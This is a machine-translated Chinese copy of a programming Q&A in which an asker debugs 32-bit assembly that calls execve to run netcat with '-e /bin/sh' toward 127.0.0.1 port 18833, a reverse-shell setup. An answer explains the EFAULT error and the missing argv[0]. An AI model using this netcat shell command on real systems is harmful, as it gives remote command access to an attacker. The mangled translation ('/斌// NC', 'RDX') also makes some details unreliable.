2017-03-08 43 views
0

我正在编写一个汇编程序,需要打电话给netcat并通过互联网执行程序。Linux Sys_execve将不会在程序集中运行

据我所知,对于execve命令,您将EBX寄存器指向要运行的程序,并在最后以空字节结束以终止。您将ECX寄存器指向由空字节分隔的参数,并在参数列表的末尾添加2个空字节。你只需将EDX设置为一堆空字节。

在我的命令int0x80执行命令我注册这个样子:

EAX:11 #system致电
EBX:0x0783140#/斌// NC
ECX:0x078314a #args
EDX: 0x07831a4 #ENV

这里的所述存储器中的0x0783140以ASCII值:

[空字节] = 0×00

/bin中// NC [空字节] 127.0.0.1 [空字节] 18833 [空字节] -e [空字节]/bin/sh的[空字节] [空字节]

EBX指向“/斌// NC”
ECX指向‘127.0.0.1’
RDX只是点了一堆空字节

该计划将获得为int 0x80的电话,但它会立即返回,并在把0xfffffff2 EAX寄存器。

任何帮助将是伟大的。

编辑:谢谢ephemient我现在能够实际运行netcat,但不知何故,我认为我的args没有被程序正确读取。我认为这是因为netcat运行,但立即退出并退出代码1,并没有建立连接到我的听众。

ECX现在指向该内存(请注意,我把对可读性地址之间的空间,但他们并不在我的计划存在):

0x78315e 0x783168 0x78316e 0x783171 0x00000000 

0x78315e => 127.0.0.1[Null Byte] 
0x783168 => 18833[Null Byte] 
0x78316e => -e[Null Byte] 
0x783171 => /root/myprogram[Null Byte] 

我有四重检查,该地址实际上指向askii值超过

回答

1

您得到errno=EFAULT(0xfffffff2 = -14,14 = EFAULT),表明您正在向系统调用传递错误的地址。

SYS_execve接受3个参数,但第二和第三个指针的NULL结尾的阵列参数/环境字符串,NUL分隔部件的不是一个单一的字符串。将字符串解释为指针数组意味着字符串的前4个字节被解释为第一个字符串的地址,但它不是有效地址,因此是EFAULT。

SYSCALL_DEFINE3(execve, 
       const char __user *, filename, 
       const char __user *const __user *, argv, 
       const char __user *const __user *, envp) 
+0

感谢这么多,那解决的netcat的问题没有运行,但现在的ARG游戏没有被正确读取。任何进一步的帮助,你可以提供将不胜感激 –

+0

@HansDonkersloot它看起来像你缺少argv [0]。这通常是二进制文件的文件名。它应该在其余的论点之前出现。 – ephemient